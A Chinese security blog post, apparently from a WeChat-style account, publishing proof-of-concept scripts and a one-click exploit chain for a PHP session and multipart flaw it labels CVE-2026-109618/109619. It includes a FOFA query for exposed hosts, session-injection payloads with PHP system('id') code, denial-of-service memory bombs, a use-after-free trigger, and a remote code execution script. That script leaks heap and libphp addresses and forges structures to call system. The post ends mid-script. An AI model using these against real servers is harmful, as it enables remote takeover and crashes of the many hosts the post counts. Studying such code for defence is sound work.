【已复现】php2shell-POC and EXP 2026.22日
原创 67626d 2026-10-22 00:36 北京

这是技术圈众所周知的一个事情,我不做过多的介绍。
值得强调的是,不要相信临时修复方案,也不要相信waf可以帮你阻拦。你能选择的就是更新版本。
搜索语法 / FOFA
body="PHPSESSID"影响资产数量:499,359 个(fofa 全网测绘,2026-10-22)
一个检测的项目:
https://github.com/ovtechnology/php2shell-checkpoc:verify_handler_mismatch.py
CVE-2026-109618/109619 verification POCs#!/usr/bin/env python3"""CVE-2026-109618/109619 — Verify session handler mismatch → object injection.Demonstrates:1. Session written in php_serialize format (via directory with .user.ini)2. Pipe | in filename preserved in php_serialize format3. php handler reads the session → splits at | → deserializes injected object4. __destruct fires even when decode returns FAILURE (trailing data)Setup required:- /app/ directory with .user.ini: session.serialize_handler = php_serialize- /api/ directory with .user.ini: session.serialize_handler = php- Both share the same session.save_pathUsage:python3 verify_handler_mismatch.py --target http://127.0.0.1:18080For authorized security testing only."""import argparseimport socketimport sysfrom urllib.parse import urlparsedef upload(host, port, path, sid, filename):boundary = "MISMATCH"body = (f"--{boundary}\r\n"f'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n{sid}\r\n'f"--{boundary}\r\n"f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n'f"--{boundary}\r\n"f'Content-Disposition: form-data; name="f"; filename="{filename}"\r\n\r\nZ\r\n'f"--{boundary}--\r\n").encode("latin-1")req = (f"POST {path} HTTP/1.1\r\n"f"Host: {host}\r\n"f"Content-Type: multipart/form-data; boundary={boundary}\r\n"f"Content-Length: {len(body)}\r\n"f"Connection: close\r\n\r\n").encode() + bodys = socket.create_connection((host, port), timeout=15)s.sendall(req)s.settimeout(10)resp = b""while True:try:d = s.recv(65536)if not d:breakresp += dexcept socket.timeout:breaks.close()return respdef main():ap = argparse.ArgumentParser()ap.add_argument("--target", default="http://127.0.0.1:18080")ap.add_argument("--write-path", default="/app/upload.php",help="Endpoint with php_serialize handler")ap.add_argument("--read-path", default="/api/endpoint.php",help="Endpoint with php handler")ap.add_argument("--sid", default="mismatchverify0000000000000")args = ap.parse_args()u = urlparse(args.target)host = u.hostnameport = u.port or 80print("[*] CVE-2026-109618/109619 — Handler Mismatch Verification")print(f"[*] Target: {args.target}")print()# Step 1: Write session via php_serialize endpoint# Filename contains |O:8:"stdClass":0:{} (escaped quotes)gadget = 'x|O:8:\\"stdClass\\":0:{}'print(f"[1] Writing session via {args.write_path} (php_serialize)")print(f" Filename payload: {gadget}")upload(host, port, args.write_path, args.sid, gadget)print(" → Session file written in php_serialize format")# Step 2: Trigger via php handler endpointprint(f"\n[2] Triggering mismatch via {args.read_path} (php handler)")print(" php handler scans for | → splits → deserializes O:8:\"stdClass\":0:{}")resp = upload(host, port, args.read_path, args.sid, "dummy")status = resp.split(b"\r\n", 1)[0].decode("latin1", "replace") if resp else "NO RESPONSE"print(f" Response: {status}")print()print("[*] Verification indicators:")print(" - 'Failed to decode session object' warning = mismatch triggered")print(" - 'Session object destruction failed' = __destruct fired on injected object")print(" - If target has a class with exploitable __destruct → RCE")print()print("[*] Check target for:")print(f" - Session file: /tmp/sessions/sess_{args.sid}")print(" - Evidence of __destruct execution (file writes, network connections, etc.)")if __name__ == "__main__":main()
poc:verify_oom_trigger.py
#!/usr/bin/env python3"""CVE-2026-109618 — PHP OOM Corruption → RCE (Apache mod_php)Zero preconditions: no LFI, no unserialize, no application code needed.The multipart parser can be forced to OOM while request memory is in aninvalid/uninitialized state. longjmp() skips cleanup, and mod_php'sunconditional request shutdown reads/branches on the invalid memory.Three OOM strategies (from the official advisory):1. No Content-Length → bypasses post_max_size → unbounded body data2. Unlimited headers per multipart part → memory amplification3. Empty file controls with nested field names → array multiplicationThis POC demonstrates strategy#2(header amplification) and#3(nested arrays).Target: Apache mod_php (NOT php-fpm — FPM exits child on startup failure)Tested: PHP 8.2.34 with Apache mod_phpFor authorized security research only."""import argparseimport socketimport sysimport timedef build_header_bomb(boundary, num_headers=5000, header_size=500):"""Strategy 2: A single multipart part with thousands of headers.Each header line uses ~header_size bytes on the wire but PHP's internalrepresentation (zend_string + HashTable bucket) uses more memory.Memory amplification: ~3-5x wire size."""part = f"--{boundary}\r\n"part += f'Content-Disposition: form-data; name="f"; filename="a"\r\n'for i in range(num_headers):# Custom headers — PHP stores them allpart += f"X-Pad-{i}: {'A' * header_size}\r\n"part += "\r\n" # end of headerspart += "Z" # minimal bodypart += f"\r\n--{boundary}--\r\n"return part.encode()def build_nested_array_bomb(boundary, depth=8, width=20):"""Strategy 3: Empty file controls with deeply nested field names.PHP creates nested arrays for names like a[b][c][d][e][f][g][h].N fields × depth levels × PHP array overhead = exponential memory use.Empty file controls don't count toward max_file_uploads."""parts = []for i in range(width):# Build nested name: f[0][1][2]...[depth]name = "f"for d in range(depth):name += f"[{d}]"name += f"[{i}]"# Empty file control — no actual file, but PHP still creates metadatapart = f"--{boundary}\r\n"part += f'Content-Disposition: form-data; name="{name}"; filename=""\r\n'part += "Content-Type: application/octet-stream\r\n"part += "\r\n" # empty bodyparts.append(part)body = "".join(parts) + f"--{boundary}--\r\n"return body.encode()def build_no_content_length_bomb(boundary, chunk_size=8192, total_mb=128):"""Strategy 1: No Content-Length header → bypasses post_max_size check.Send continuous multipart body data exceeding memory_limit."""header = (f"--{boundary}\r\n"f'Content-Disposition: form-data; name="data"\r\n'f"\r\n").encode()# This returns a generator for streamingdef generate():yield headertotal = 0target = total_mb * 1024 * 1024chunk = b"A" * chunk_sizewhile total < target:yield chunktotal += chunk_sizeyield f"\r\n--{boundary}--\r\n".encode()return generatedef send_oom_request(host, port, path, strategy="headers", **kwargs):"""Send the OOM-triggering multipart request."""boundary = "OOM_BOUNDARY_" + str(int(time.time()))if strategy == "headers":body = build_header_bomb(boundary,num_headers=kwargs.get("num_headers", 5000),header_size=kwargs.get("header_size", 500))content_length = len(body)req = (f"POST {path} HTTP/1.1\r\n"f"Host: {host}\r\n"f"Content-Type: multipart/form-data; boundary={boundary}\r\n"f"Content-Length: {content_length}\r\n"f"Connection: close\r\n"f"\r\n").encode() + bodys = socket.create_connection((host, port), timeout=30)s.sendall(req)elif strategy == "nested":body = build_nested_array_bomb(boundary,depth=kwargs.get("depth", 10),width=kwargs.get("width", 1000))content_length = len(body)req = (f"POST {path} HTTP/1.1\r\n"f"Host: {host}\r\n"f"Content-Type: multipart/form-data; boundary={boundary}\r\n"f"Content-Length: {content_length}\r\n"f"Connection: close\r\n"f"\r\n").encode() + bodys = socket.create_connection((host, port), timeout=30)s.sendall(req)elif strategy == "no_length":# No Content-Length — send streamingheader = (f"POST {path} HTTP/1.1\r\n"f"Host: {host}\r\n"f"Content-Type: multipart/form-data; boundary={boundary}\r\n"f"Transfer-Encoding: chunked\r\n"f"Connection: close\r\n"f"\r\n").encode()s = socket.create_connection((host, port), timeout=60)s.sendall(header)gen = build_no_content_length_bomb(boundary,total_mb=kwargs.get("total_mb", 128))for chunk in gen():# Chunked encodings.sendall(f"{len(chunk):x}\r\n".encode() + chunk + b"\r\n")s.sendall(b"0\r\n\r\n")# Read responses.settimeout(15)resp = b""while True:try:d = s.recv(65536)if not d:breakresp += dexcept socket.timeout:breaks.close()return respdef main():ap = argparse.ArgumentParser(description="CVE-2026-109618 OOM Corruption POC")ap.add_argument("--host", default="127.0.0.1")ap.add_argument("--port", type=int, default=80)ap.add_argument("--path", default="/index.php")ap.add_argument("--strategy", choices=["headers", "nested", "no_length"], default="headers")ap.add_argument("--num-headers", type=int, default=5000)ap.add_argument("--header-size", type=int, default=500)ap.add_argument("--depth", type=int, default=10)ap.add_argument("--width", type=int, default=1000)ap.add_argument("--total-mb", type=int, default=128)args = ap.parse_args()print(f"CVE-2026-109618 — PHP OOM Corruption POC")print(f"Target: {args.host}:{args.port}{args.path}")print(f"Strategy: {args.strategy}")print()if args.strategy == "headers":print(f"Sending {args.num_headers} headers × {args.header_size} bytes each")wire_size = args.num_headers * (args.header_size + 20)mem_est = wire_size * 4 # ~4x amplificationprint(f"Wire size: ~{wire_size // 1024 // 1024}MB, Estimated PHP memory: ~{mem_est // 1024 // 1024}MB")elif args.strategy == "nested":print(f"Sending {args.width} empty file controls with {args.depth}-deep nesting")elif args.strategy == "no_length":print(f"Sending {args.total_mb}MB without Content-Length (bypasses post_max_size)")print()print("Sending...")resp = send_oom_request(args.host, args.port, args.path,strategy=args.strategy,num_headers=args.num_headers,header_size=args.header_size,depth=args.depth,width=args.width,total_mb=args.total_mb)if resp:status = resp.split(b"\r\n", 1)[0].decode("latin1", "replace")print(f"Response: {status}")print(f"Size: {len(resp)} bytes")if b"500" in status.encode():print("\n[+] Server returned 500 — OOM likely triggered!")print(" On Apache mod_php, the request shutdown procedure runs on invalid state.")print(" With heap shaping, this leads to RCE.")elif not resp or b"connection" in resp.lower():print("\n[+] Connection dropped — server process may have crashed!")else:print("\n[-] Server responded normally — OOM threshold not reached.")print(" Try increasing --num-headers or --header-size")else:print("\n[+] No response — server process likely crashed!")print(" This confirms the OOM bailout condition.")if __name__ == "__main__":main()
poc:verify_session_injection.py
#!/usr/bin/env python3"""CVE-2026-109618/109619 — Verify session file injection via upload_progress filename.Demonstrates:1. Session fixation via POST body PHPSESSID (bypasses use_only_cookies)2. Unvalidated filename stored raw in session file (can contain PHP code)3. Session file created with attacker-controlled contentUsage:python3 verify_session_injection.py --target http://127.0.0.1:18080For authorized security testing only."""import argparseimport socketimport sysfrom urllib.parse import urlparsedef send_upload(host, port, path, sid, filename):boundary = "VERIFY"body = (f"--{boundary}\r\n"f'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n{sid}\r\n'f"--{boundary}\r\n"f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n'f"--{boundary}\r\n"f'Content-Disposition: form-data; name="f"; filename="{filename}"\r\n\r\nZ\r\n'f"--{boundary}--\r\n").encode("latin-1")req = (f"POST {path} HTTP/1.1\r\n"f"Host: {host}\r\n"f"Content-Type: multipart/form-data; boundary={boundary}\r\n"f"Content-Length: {len(body)}\r\n"f"Cookie: PHPSESSID={sid}\r\n"f"Connection: close\r\n\r\n").encode() + bodys = socket.create_connection((host, port), timeout=15)s.sendall(req)s.settimeout(10)resp = b""while True:try:d = s.recv(65536)if not d:breakresp += dexcept socket.timeout:breaks.close()return respdef main():ap = argparse.ArgumentParser()ap.add_argument("--target", default="http://127.0.0.1:18080")ap.add_argument("--path", default="/index.php")ap.add_argument("--sid", default="verifysession00000000000000")args = ap.parse_args()u = urlparse(args.target)host = u.hostnameport = u.port or 80print("[*] CVE-2026-109618/109619 — Session Injection Verification")print(f"[*] Target: {args.target}")print()# Test 1: Normal filenameprint("[1] Testing normal filename...")send_upload(host, port, args.path, args.sid + "a", "normal.txt")print(" → Session file should contain: s:10:\"normal.txt\"")# Test 2: PHP code in filenamephp_payload = "<?php system('id');echo 'RCE';?>"print(f"[2] Testing PHP code in filename: {php_payload}")send_upload(host, port, args.path, args.sid + "b", php_payload)print(f" → Session file should contain PHP code as raw string")# Test 3: Pipe character in filename (for handler mismatch)pipe_payload = "x|O:8:\"stdClass\":0:{}"print(f"[3] Testing pipe + serialized object in filename")# Need \" escaping for Content-Dispositionescaped = pipe_payload.replace('"', '\\"')send_upload(host, port, args.path, args.sid + "c", escaped)print(f" → Session file should contain |O:8: in the filename field")print()print("[*] Verification complete. Check session files on the target:")print(f" cat /tmp/sessions/sess_{args.sid}a")print(f" cat /tmp/sessions/sess_{args.sid}b")print(f" cat /tmp/sessions/sess_{args.sid}c")print()print("[*] Key indicators:")print(" - Session fixation: file created with attacker-controlled SID")print(" - Filename injection: raw PHP code / serialized objects in session data")print(" - No authentication required")if __name__ == "__main__":main()
verify_uaf_asan.php
/*** CVE-2026-109618/109619 — var_destroy __destruct reentry UAF verification.** Triggers ASAN heap-use-after-free in php_var_unserialize (var_unserializer.c:851).** Run with: USE_ZEND_ALLOC=0 ASAN_OPTIONS="detect_leaks=0" php verify_uaf_asan.php** Root cause: var_destroy() frees back-reference extension chunks (line 245),* then i_zval_ptr_dtor at line 310 fires __destruct WITHOUT BG(serialize_lock).* Inner unserialize('R:1500;') reuses the outer var_hash (freed entries) → UAF read.** For authorized security testing only.*/classTriggerUAF{public function__destruct() {fwrite(STDERR, "[*] __destruct fired (serialize_lock=0, BG(unserialize).level>0)\n");fwrite(STDERR, "[*] Attempting R:1500 backref into freed var_hash extension chunk...\n");$result = @unserialize('R:1500;');$type = gettype($result);fwrite(STDERR, "[*] R:1500 resolved to: $type\n");if ($result !== false) {fwrite(STDERR, "[+] UAF CONFIRMED: R:1500 read from freed memory!\n");}}}// Build payload: 2000+ entries to overflow VAR_ENTRIES_MAX (1018)// Then duplicate key to move TriggerUAF to dtor list$N = 2000;$payload = 'a:' . ($N + 2) . ':{';for ($i = 0; $i < $N; $i++) {$payload .= "i:$i;i:$i;";}$payload .= 'i:99999;O:10:"TriggerUAF":0:{}';$payload .= 'i:99999;i:42;';$payload .= '}';fwrite(STDERR, "[*] Payload: " . strlen($payload) . " bytes, $N entries + UAF trigger\n");fwrite(STDERR, "[*] Firing unserialize()...\n");@unserialize($payload);fwrite(STDERR, "[*] Done. If ASAN reported heap-use-after-free, the UAF is confirmed.\n");fwrite(STDERR, "[*] Expected ASAN trace:\n");fwrite(STDERR, " READ at php_var_unserialize (var_unserializer.c:851)\n");fwrite(STDERR, " freed at var_destroy (var_unserializer.c:245)\n");
poc使用介绍:
验证链A:会话注入 python3 verify_session_injection.py --target http://127.0.0.1:18080验证链B:UAF(需要ASAN构建)USE_ZEND_ALLOC=0 ASAN_OPTIONS="detect_leaks=0" php verify_uaf_asan.php验证链C:处理程序不匹配 python3 verify_handler_mismatch.py --target http://127.0.0.1:18080验证链D:Apache mod_php python3内存溢出 verify_oom_trigger.py --host 127.0.0.1 --port 18081 --strategy header
EXP:
一条命令完成整个利用;首次运行会自动读取 libphp 偏移python3 exploit.py -u http://127.0.0.1:8088/index.php# PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
#!/usr/bin/env python3"""php2shell - one-click remote exploit for PHP 8.4.26 / mod_php, prefork.Default profile: official php:8.4.26-apache image (Apache 2.4.69).Lab build (Apache 2.4.68, minimal PHP): use --profile lab.Chain (all attacker traffic is plain HTTP):stage 0 HTTP worker rotationstage 1 Set-Cookie heap leak -> Zend MM chunk basestage 2 Set-Cookie libphp leak -> libphp base (ZVAL_PTR_DTOR)stage 3 upload_progress fake-ref -> pDestructor = zif_systemRequirements on the target (the shipped docker/ setup matches these settings):display_errors=1, memory_limit=8M, max_input_vars=1000,session.use_cookies=1, session.use_strict_mode=0,session.upload_progress.enabled=1, single-worker prefork.Usage:python3 exploit.py -u http://127.0.0.1:8088/index.phppython3 exploit.py -u http://127.0.0.1:8088/index.php -c 'id>/out/p1' --proof-file out/p1python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'id>/tmp/p1' --proof-file /tmp/p1The command is embedded in a 167-byte live zend_string; the maximum commandlength for this payload layout is 14 bytes. For a longer command, chain itthrough a short shell trigger, e.g. `sh</out/c` (8 bytes)."""from __future__ import annotationsimport argparseimport osimport reimport socketimport sslimport structimport subprocessimport threadingimport sysimport timeimport urllib.parsefrom collections import Counter# Offsets for the lab build (PHP 8.4.26, Apache 2.4.68, Debian 12, gcc 12).# They are relative to the libphp.so / Zend MM chunk base, so they do not# depend on ASLR. Rebuilds can shift them; pass --zif-offset/--dtor-offset.ZIF_OFFSET = 0x43A870 # zif_systemDTOR_OFFSET = 0x613C50 # ZVAL_PTR_DTOR (zval_ptr_dtor)HTDATA_OFFSET = 0x6E0D8 # live 167-byte string used as fake HashTableMAX_CMD = 14 # 167-byte carrier - 0x98 header - NUL# bookworm (official php:8.4.26-apache) calibration, measured on the imageBOOKWORM_STAGE1_N = 841BOOKWORM_STAGE2_T = 406BOOKWORM_STAGE2_V = 16BOOKWORM_HTDATA_OFFSET = 0x690D8BOOKWORM_STAGE3_PADS = [(31, 31)] * 6SID = b"attacksessionid0001"DEFAULT_CMD = "id>/out/p1"_HERE = os.path.dirname(os.path.abspath(__file__))DEFAULT_PROOF = os.path.join(_HERE, "out", "p1")DEFAULT_OFFSETS = os.path.join(_HERE, "out", "offsets.env")def build_multipart(parts, boundary: bytes) -> bytes:out = bytearray()for p in parts:name = p["name"].encode()out += b"--" + boundary + b"\r\n"out += b'Content-Disposition: form-data; name="' + name + b'"'if p.get("filename") is not None:out += b'; filename="' + p["filename"].encode() + b'"'out += b"\r\nContent-Type: application/octet-stream"out += b"\r\n\r\n" + p["data"] + b"\r\n"out += b"--" + boundary + b"--\r\n"return bytes(out)def read_offsets_file(path: str) -> dict[str, int]:"""Read ZIF_OFFSET=0x.. / DTOR_OFFSET=0x.. written by docker/offsets.py."""vals: dict[str, int] = {}if not path:return valstry:with open(path, "r", encoding="utf-8") as f:for line in f:line = line.strip()if not line or line.startswith("#") or "=" not in line:continuekey, val = line.split("=", 1)vals[key.strip()] = int(val.strip(), 0)except (OSError, ValueError):passreturn valsclass Target:def __init__(self, url: str, timeout: float = 30.0, verbose: bool = True):u = urllib.parse.urlsplit(url)if u.scheme not in ("http", "https"):raise ValueError("URL must be http:// or https://")self.https = u.scheme == "https"self.host = u.hostname or "127.0.0.1"self.port = u.port or (443 if self.https else 80)self.path = u.path or "/"self.timeout = timeoutself.verbose = verbosedef log(self, msg: str) -> None:if self.verbose:print(msg, flush=True)def _connect(self):last = Nonefor _ in range(10):try:s = socket.create_connection((self.host, self.port), timeout=self.timeout)if self.https:ctx = ssl.create_default_context()s = ctx.wrap_socket(s, server_hostname=self.host)try:s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)except OSError:passreturn sexcept OSError as e:last = etime.sleep(0.3)raise last # type: ignore[misc]def post(self, body: bytes, boundary: bytes, read_cap: int = 1 << 20,timeout: float | None = None,extra_headers: dict[str, str] | None = None) -> bytes:extra = ""for k, v in (extra_headers or {}).items():extra += f"{k}: {v}\r\n"hdr = (f"POST {self.path} HTTP/1.1\r\n"f"Host: {self.host}:{self.port}\r\n"f"{extra}"f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"f"Content-Length: {len(body)}\r\n""Connection: close\r\n""\r\n").encode()s = self._connect()s.settimeout(timeout or self.timeout)# Read concurrently with the upload: some exploit requests make the# worker abort right after sending Set-Cookie, and a recv() that starts# after the RST loses the already-buffered response.data = bytearray()def _reader() -> None:try:while len(data) < read_cap:chunk = s.recv(65536)if not chunk:breakdata.extend(chunk)except OSError:passreader = threading.Thread(target=_reader, daemon=True)reader.start()try:try:s.sendall(hdr)mv = memoryview(body)for off in range(0, len(body), 262144):s.sendall(mv[off:off + 262144])except OSError:pass # the worker may abort while the body is still in flightreader.join(timeout=(timeout or self.timeout) + 1.0)return bytes(data)finally:s.close()def get(self, path: str, read_cap: int = 1 << 20) -> tuple[int, bytes]:hdr = (f"GET {path} HTTP/1.1\r\n"f"Host: {self.host}:{self.port}\r\n""Connection: close\r\n""\r\n").encode()s = self._connect()s.settimeout(self.timeout)try:s.sendall(hdr)data = bytearray()try:while len(data) < read_cap:chunk = s.recv(65536)if not chunk:breakdata += chunkexcept OSError:passfinally:s.close()head, _, body = bytes(data).partition(b"\r\n\r\n")m = re.match(rb"HTTP/1\.[01] (\d{3})", head)return (int(m.group(1)) if m else 0), bodydef parse_cookie(resp: bytes) -> bytes:m = re.search(rb"Set-Cookie: PHPSESSID=([^\r\n]*?); path=/", resp)if not m:return b""return urllib.parse.unquote_to_bytes(m.group(1).decode("latin1"))def chunk_base_from_cookie(raw: bytes) -> int:"""Stage 1: 2MB-aligned mode of the heap pointers in the decoded cookie."""if len(raw) < 1000:return 0c: Counter[int] = Counter()for i in range(len(raw) - 8):v = int.from_bytes(raw[i:i + 8], "little")if 0x7F0000000000 <= v < 0x800000000000:c[v & ~0x1FFFFF] += 1if not c:return 0base, count = c.most_common(1)[0]return base if count >= 8 else 0def libphp_base_from_cookie(raw: bytes, dtor_offset: int = DTOR_OFFSET) -> int:"""Stage 2: Set-Cookie data starts at PS(id)+0x18 = nNextFreeElement|pDestructor.The page-aligned check is 4KB, not 2MB: the lab build happened to maplibphp at a 2MB boundary, but the official php:8.4.26-apache image maps itat a 4KB boundary (e.g. base 0x...acdb000)."""if len(raw) < 16:return 0p = int.from_bytes(raw[8:16], "little")if not (0x7F0000000000 <= p < 0x800000000000):return 0if p & 0xFFF != dtor_offset & 0xFFF:return 0base = p - dtor_offsetreturn base if base & 0xFFF == 0 else 0class Exploit:def __init__(self, target: Target, cmd: str, zif_offset: int = ZIF_OFFSET,dtor_offset: int = DTOR_OFFSET, htdata_offset: int = HTDATA_OFFSET,huge_mb: int = 12, verbose: bool = True, profile: str = "lab"):self.t = targetself.cmd = cmd.encode()self.zif_offset = zif_offsetself.dtor_offset = dtor_offsetself.htdata_offset = htdata_offsetself.huge_mb = huge_mbself.verbose = verboseself.profile = profileif profile == "bookworm":# official php:8.4.26-apache (Debian 12, Apache 2.4.69)self.stage1_n = BOOKWORM_STAGE1_Nself.stage2_t = BOOKWORM_STAGE2_Tself.stage2_v = BOOKWORM_STAGE2_Vself.stage3_pads = list(BOOKWORM_STAGE3_PADS)self.stage3_carrier = Trueelse:self.stage1_n = 892self.stage2_t = 443self.stage2_v = 1self.stage3_pads = [(8, 7)] + [(7, 7)] * 5self.stage3_carrier = False# ---------- request primitives (shapes match tools/*.py) ----------def _big_field(self) -> dict:return {"name": "big", "data": b"B" * (self.huge_mb * 1024 * 1024)}def _file_part(self) -> dict:return {"name": "f", "filename": "a.txt", "data": b"A" * 64}def rotate(self) -> None:"""Abort the current worker over HTTP; prefork forks a fresh one."""self.t.log("[*] rotating worker over HTTP")parts = [{"name": f"f{i:04d}"[:5], "data": b"V" * 3000} for i in range(1001)]parts += [{"name": "PHPSESSID", "data": b"\x00"},{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},self._file_part(),self._big_field(),]self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17,read_cap=1 << 20, timeout=max(90.0, self.t.timeout))time.sleep(0.3)# Session-initializing B with no file part: pre-RINIT cleanup walks the# corrupted heap and the child aborts.parts = [{"name": "PHPSESSID", "data": SID},{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},]self.t.post(build_multipart(parts, b"BNDRY12345"), b"BNDRY12345",read_cap=65536, timeout=20.0)time.sleep(0.5)def stage1(self) -> int:"""Leak the Zend MM chunk base."""parts = [{"name": f"p{i:04d}", "data": b"x"} for i in range(1001)]parts += [{"name": "PHPSESSID", "data": b"\x00"},{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},self._file_part(),self._big_field(),]self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17,read_cap=1 << 20, timeout=max(90.0, self.t.timeout))time.sleep(0.2)parts = [{"name": "PHPSESSID", "data": SID},{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},]for i in range(self.stage1_n):val = (f"v{i:04d}" + "x" * 44)[:48]parts.append({"name": str(1000 + i), "data": val.encode()})forge = bytearray(b"A" * 79)struct.pack_into("<Q", forge, 0x10, 0x1000) # forged zend_string lenforge[0x18] = ord("L")parts.append({"name": "1999", "data": bytes(forge)})resp = self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10,read_cap=9 << 20)return chunk_base_from_cookie(parse_cookie(resp))def stage2(self) -> int:"""Leak libphp base through a 56-byte HashTable page."""parts = [{"name": f"f{i:04d}"[:5], "data": b"x" * 39} for i in range(1001)]parts += [{"name": "PHPSESSID", "data": b"\x00"},{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},self._file_part(),self._big_field(),]self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17,read_cap=1 << 20, timeout=max(90.0, self.t.timeout))time.sleep(0.2)parts = [{"name": "PHPSESSID", "data": SID},{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},]for i in range(983):cnt = 16 if i == self.stage2_t else 1for j in range(cnt):parts.append({"name": f"a{i:04d}[{j}]", "data": b"x" * self.stage2_v})resp = self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10,read_cap=1 << 20)return libphp_base_from_cookie(parse_cookie(resp), self.dtor_offset)def _fake_payload(self, htdata: int, zif: int) -> tuple[bytes, bytes]:cmd = self.cmdif len(cmd) > MAX_CMD:raise ValueError(f"command is {len(cmd)} bytes; the 167-byte carrier allows at most "f"{MAX_CMD} (e.g. use 'sh</out/c')")ht = bytearray(b"\x00" * 167)# fake HashTablestruct.pack_into("<II", ht, 0x00, 1, 7) # gc: rc=1, IS_ARRAYstruct.pack_into("<II", ht, 0x08, 0x10, 0xFFFFFFF8) # flags, nTableMaskstruct.pack_into("<Q", ht, 0x10, htdata + 0x20) # arDatastruct.pack_into("<II", ht, 0x18, 1, 1) # nNumUsed/OfElementsstruct.pack_into("<II", ht, 0x20, 8, 0) # nTableSize/pointerstruct.pack_into("<Q", ht, 0x28, 0) # nNextFreeElementstruct.pack_into("<Q", ht, 0x30, zif) # pDestructor# fake execute_data at E = data+0x20E = 0x20struct.pack_into("<Q", ht, E + 0x00, 0) # oplinestruct.pack_into("<Q", ht, E + 0x08, 0) # callstruct.pack_into("<Q", ht, E + 0x10, zif) # return_valuestruct.pack_into("<Q", ht, E + 0x18, 0) # funcstruct.pack_into("<Q", ht, E + 0x20, 0) # This.valuestruct.pack_into("<I", ht, E + 0x28, 0) # This.u1.type_infostruct.pack_into("<I", ht, E + 0x2C, 1) # num_args = 1struct.pack_into("<Q", ht, E + 0x30, 0) # prev_execute_datastruct.pack_into("<Q", ht, E + 0x38, 0) # symbol_tablestruct.pack_into("<I", ht, E + 0x40, 0) # call_infostruct.pack_into("<Q", ht, E + 0x50, htdata + 0x80) # arg1 valuestruct.pack_into("<I", ht, E + 0x58, 6) # arg1 IS_STRING# fake zend_string at data+0x80struct.pack_into("<II", ht, 0x80, 1, 0x106) # gc rc=1, IS_STRINGstruct.pack_into("<Q", ht, 0x88, 0) # hstruct.pack_into("<Q", ht, 0x90, len(cmd)) # lenht[0x98:0x98 + len(cmd)] = cmdht[0x98 + len(cmd)] = 0# fake reference (55 bytes) placed at R0-0x10ref = bytearray(b"X" * 55)struct.pack_into("<II", ref, 0x10, 1, 10) # IS_REFERENCEstruct.pack_into("<Q", ref, 0x18, htdata) # val.valuestruct.pack_into("<Q", ref, 0x20, 0x307) # IS_ARRAY_EXstruct.pack_into("<Q", ref, 0x28, 0) # sourcesreturn bytes(ht), bytes(ref)def stage3(self, htdata: int, zif: int) -> None:"""Write the fake reference over PS(http_session_vars) and execute."""parts = [{"name": "PHPSESSID", "data": b"a" * 19},{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"p" * 3},]specs = self.stage3_padsfor i, (nl, vl) in enumerate(specs):name = (f"p{i:0{nl - 1}d}" if nl > 0 else "")[:nl]parts.append({"name": name, "data": b"V" * vl})parts += [self._file_part(), self._big_field()]extra = Noneif self.profile == "bookworm":# Keep PS(id) valid: php_session_initialize then leaves# send_cookie=0, so B's init does not allocate the Set-Cookie# header at R0+16 (which would clobber val.type).extra = {"Cookie": "PHPSESSID=" + "a" * 32}self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17,read_cap=1 << 20, timeout=max(90.0, self.t.timeout),extra_headers=extra)time.sleep(0.3)ht, ref = self._fake_payload(htdata, zif)parts = [{"name": "PHPSESSID", "data": SID},{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},]if self.stage3_carrier:# The bookworm reference is still alive (rc=2). A 15-byte# bin-40 zend_string lands its chars exactly at# PS(http_session_vars): keep gc (rc=1, IS_REFERENCE), rewrite the# low 7 bytes of val.value to the fake HashTable, and let the# high byte stay 0x00 (canonical 0x00007f... pointer).carrier = struct.pack("<II", 1, 0x1A) + struct.pack("<Q", htdata)[:7]for i in range(2):parts.append({"name": f"f{i:02d}", "data": b"F" * 15})parts.append({"name": "g00", "data": carrier})for i in range(15):parts.append({"name": f"a{i:030d}"[:31], "data": ht})else:for i in range(15):parts.append({"name": f"a{i:030d}"[:31], "data": ht})for i in range(2):parts.append({"name": f"f{i:02d}", "data": ref})self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10,read_cap=65536, timeout=30.0)def main() -> int:ap = argparse.ArgumentParser(description="php2shell one-click exploit (official php:8.4.26-apache / lab)",formatter_class=argparse.ArgumentDefaultsHelpFormatter,)ap.add_argument("-u", "--url", required=True,help="target PHP page, e.g. http://127.0.0.1:8088/index.php")ap.add_argument("-c", "--cmd", default=DEFAULT_CMD,help=f"command to execute (max {MAX_CMD} bytes)")ap.add_argument("--proof-file", default=DEFAULT_PROOF,help="read this local file after exploitation; '' disables")ap.add_argument("--fetch", default="",help="GET this path afterwards (for commands writing to webroot)")ap.add_argument("--zif-offset", type=lambda x: int(x, 0), default=None,help=f"offset of zif_system in libphp.so (default: offsets file or 0x{ZIF_OFFSET:x})")ap.add_argument("--dtor-offset", type=lambda x: int(x, 0), default=None,help=f"offset of ZVAL_PTR_DTOR in libphp.so (default: offsets file or 0x{DTOR_OFFSET:x})")ap.add_argument("--profile", choices=("lab", "bookworm"), default="bookworm",help="target build profile: bookworm (official image, default) or lab (Apache 2.4.68)")ap.add_argument("--htdata-offset", type=lambda x: int(x, 0), default=None,help="chunk-relative offset of the 167-byte live string")ap.add_argument("--offsets-file", default=DEFAULT_OFFSETS,help="read libphp offsets from this file ('' to disable)")ap.add_argument("--docker-container", default="php2shell-target",help="container used to auto-derive offsets on localhost")ap.add_argument("--no-auto-offsets", action="store_true",help="never run 